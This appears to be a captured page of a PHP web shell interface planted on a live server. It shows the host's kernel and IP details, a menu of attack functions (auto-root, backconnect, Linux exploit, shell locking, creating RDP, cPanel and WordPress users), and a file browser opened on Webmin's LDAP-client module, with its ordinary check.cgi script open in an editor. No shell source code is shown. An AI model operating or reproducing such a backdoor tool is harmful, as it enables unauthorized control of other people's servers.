Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.158
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
ldap-client /
[ HOME SHELL ]
Name
Size
Permission
Action
help
[ DIR ]
drwxr-xr-x
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.1
KB
-rw-r--r--
atboot.cgi
483
B
-rwxr-xr-x
browser.cgi
2.29
KB
-rwxr-xr-x
check.cgi
2.93
KB
-rwxr-xr-x
config-ALL-linux
79
B
-rw-r--r--
config-AlmaLinux-6.0-ALL
66
B
-rw-r--r--
config-CentOS-Linux-6.0-ALL
66
B
-rw-r--r--
config-CentOS-Stream-Linux-8.0...
66
B
-rw-r--r--
config-Oracle-Linux-8.0-ALL
66
B
-rw-r--r--
config-Redhat-Enterprise-Linux...
66
B
-rw-r--r--
config-Rocky-Linux-6.0-ALL
66
B
-rw-r--r--
config-Scientific-Linux-6.0-AL...
66
B
-rw-r--r--
config-debian-linux-3.1
100
B
-rw-r--r--
config-debian-linux-4.0-5.9
65
B
-rw-r--r--
config-debian-linux-6.0-6.9
128
B
-rw-r--r--
config-debian-linux-7.0-ALL
65
B
-rw-r--r--
config-pardus-linux
74
B
-rw-r--r--
config-redhat-linux-13.0-ALL
89
B
-rw-r--r--
config.info
556
B
-rw-r--r--
config.info.ca
732
B
-rw-r--r--
config.info.de
593
B
-rw-r--r--
config.info.nl
473
B
-rw-r--r--
config.info.no
528
B
-rw-r--r--
config.info.pt_BR
599
B
-rw-r--r--
cpan_modules.pl
82
B
-rwxr-xr-x
edit_base.cgi
2.47
KB
-rwxr-xr-x
edit_pam.cgi
1.36
KB
-rwxr-xr-x
edit_server.cgi
3.27
KB
-rwxr-xr-x
edit_switch.cgi
1.74
KB
-rwxr-xr-x
fixpam.cgi
364
B
-rwxr-xr-x
index.cgi
2.36
KB
-rwxr-xr-x
install_check.pl
334
B
-rwxr-xr-x
ldap-client-lib.pl
11.53
KB
-rwxr-xr-x
list_switches.cgi
772
B
-rwxr-xr-x
log_parser.pl
461
B
-rwxr-xr-x
module.info
158
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
96
B
-rw-r--r--
module.info.ar
0
B
-rw-r--r--
module.info.ar.auto
122
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
144
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
161
B
-rw-r--r--
module.info.ca
97
B
-rw-r--r--
module.info.cs
0
B
-rw-r--r--
module.info.cs.auto
105
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
97
B
-rw-r--r--
module.info.de
99
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
148
B
-rw-r--r--
module.info.es
0
B
-rw-r--r--
module.info.es.auto
99
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
106
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
159
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
110
B
-rw-r--r--
module.info.fr
0
B
-rw-r--r--
module.info.fr.auto
120
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
126
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
99
B
-rw-r--r--
module.info.hu
0
B
-rw-r--r--
module.info.hu.auto
117
B
-rw-r--r--
module.info.it
0
B
-rw-r--r--
module.info.it.auto
95
B
-rw-r--r--
module.info.ja
0
B
-rw-r--r--
module.info.ja.auto
144
B
-rw-r--r--
module.info.ko
0
B
-rw-r--r--
module.info.ko.auto
128
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
108
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
99
B
-rw-r--r--
module.info.ms
103
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
107
B
-rw-r--r--
module.info.nl
20
B
-rw-r--r--
module.info.nl.auto
83
B
-rw-r--r--
module.info.no
20
B
-rw-r--r--
module.info.no.auto
80
B
-rw-r--r--
module.info.pl
0
B
-rw-r--r--
module.info.pl.auto
95
B
-rw-r--r--
module.info.pt
0
B
-rw-r--r--
module.info.pt.auto
101
B
-rw-r--r--
module.info.pt_BR
24
B
-rw-r--r--
module.info.pt_BR.auto
83
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
105
B
-rw-r--r--
module.info.ru
0
B
-rw-r--r--
module.info.ru.auto
170
B
-rw-r--r--
module.info.sk
0
B
-rw-r--r--
module.info.sk.auto
108
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
102
B
-rw-r--r--
module.info.sv
0
B
-rw-r--r--
module.info.sv.auto
104
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
204
B
-rw-r--r--
module.info.tr
0
B
-rw-r--r--
module.info.tr.auto
123
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
146
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
189
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
145
B
-rw-r--r--
module.info.zh
0
B
-rw-r--r--
module.info.zh.auto
84
B
-rw-r--r--
module.info.zh_TW
0
B
-rw-r--r--
module.info.zh_TW.auto
90
B
-rw-r--r--
popup_browser.cgi
2.73
KB
-rwxr-xr-x
restart.cgi
329
B
-rwxr-xr-x
save_base.cgi
1.86
KB
-rwxr-xr-x
save_pam.cgi
1.31
KB
-rwxr-xr-x
save_server.cgi
3.53
KB
-rwxr-xr-x
save_switch.cgi
932
B
-rwxr-xr-x
start.cgi
282
B
-rwxr-xr-x
stop.cgi
254
B
-rwxr-xr-x
switch-lib.pl
3.08
KB
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : check.cgi
#!/usr/bin/perl # Check the user's LDAP settings require './ldap-client-lib.pl'; require './switch-lib.pl'; &ui_print_unbuffered_header(undef, $text{'check_title'}, ""); # Get the user base print $text{'check_base'},"<br>\n"; $conf = &get_config(); @bases = &find_value("base", $conf); @scopes = &find_value("scope", $conf); if (&get_ldap_client() eq "nss") { # Older LDAP config uses directives like nss_base_passwd, with # the scope and filter separated by ? $user_base = &find_svalue("nss_base_passwd", $conf) || &find_svalue("base", $conf); } else { # Newer LDAP versions have a base starting with 'user', but fall back # to the one with no DB ($user_base) = map { /^\S+\s+(\S+=*)/; $1 } grep { /^passwd\s/ } @bases; if (!$user_base) { ($user_base) = grep { /^\S+=.*$/ } @bases; } } if (!$user_base) { &print_problem(&text('check_ebase')); goto END; } else { print &text('check_based', "<tt>$user_base</tt>"),"<p>\n"; } # Attempt to connect to LDAP server print $text{'check_connect'},"<br>\n"; $ldap = &ldap_connect(1); if (!ref($ldap)) { &print_problem(&text('check_econnect', $ldap)); goto END; } else { local $ldaphost; eval { $ldaphost = $ldap->host(); }; $ldaphost ||= &get_ldap_host(); print &text('check_connected', $ldaphost),"<p>\n"; } # Work out the scope if (&get_ldap_client() eq "nss") { $scope = &find_svalue("scope", $conf); } else { ($scope) = grep { /^\S+$/ } @scopes; } if ($user_base =~ s/\?([^\?]*)(\?([^\?]*))?$//) { $scope = $1; } $scope ||= "one"; # Look for some users print $text{'check_search'},"<br>\n"; $rv = $ldap->search(base => $user_base, filter => '(objectClass=posixAccount)', scope => $scope); if ($rv->code) { # Search failed! &print_problem(&text('check_esearch', $rv->error)); goto END; } if (!$rv->count) { &print_problem(&text('check_eusers', "<tt>$user_base</tt>")); goto END; } else { print &text('check_found', $rv->count),"<p>\n"; } # Check NSS configuration for users print $text{'check_nss'},"<br>\n"; $nss = &get_nsswitch_config(); ($passwd) = grep { $_->{'name'} eq 'passwd' } @$nss; ($ldapsrc) = grep { $_->{'src'} eq 'ldap' || $_->{'src'} eq 'sss' } @{$passwd->{'srcs'}}; if (!$ldapsrc) { &print_problem($text{'check_enss'}); goto END; } else { print $text{'check_nssok'},"<p>\n"; } # Make sure one of the users is a valid Unix user $first = $rv->entry(0); print &text('check_match', "<tt>".$first->get_value("uid")."</tt>"),"<br>\n"; $uid = getpwnam($first->get_value("uid")); if (!$uid) { # Sometimes this fails due to nsswitch.conf caching .. so try forking # a separate command $uid = &backquote_command( "id -a ".$first->get_value("uid")." 2>/dev/null"); } if (!$uid) { &print_problem($text{'check_ematch'}); goto END; } else { print $text{'check_matched'},"<p>\n"; print "<b>$text{'check_done'}</b><p>\n"; } END: &ui_print_footer("", $text{'index_return'}); sub print_problem { print "<font color=#ff0000>",@_,"</font><p>\n"; }
Close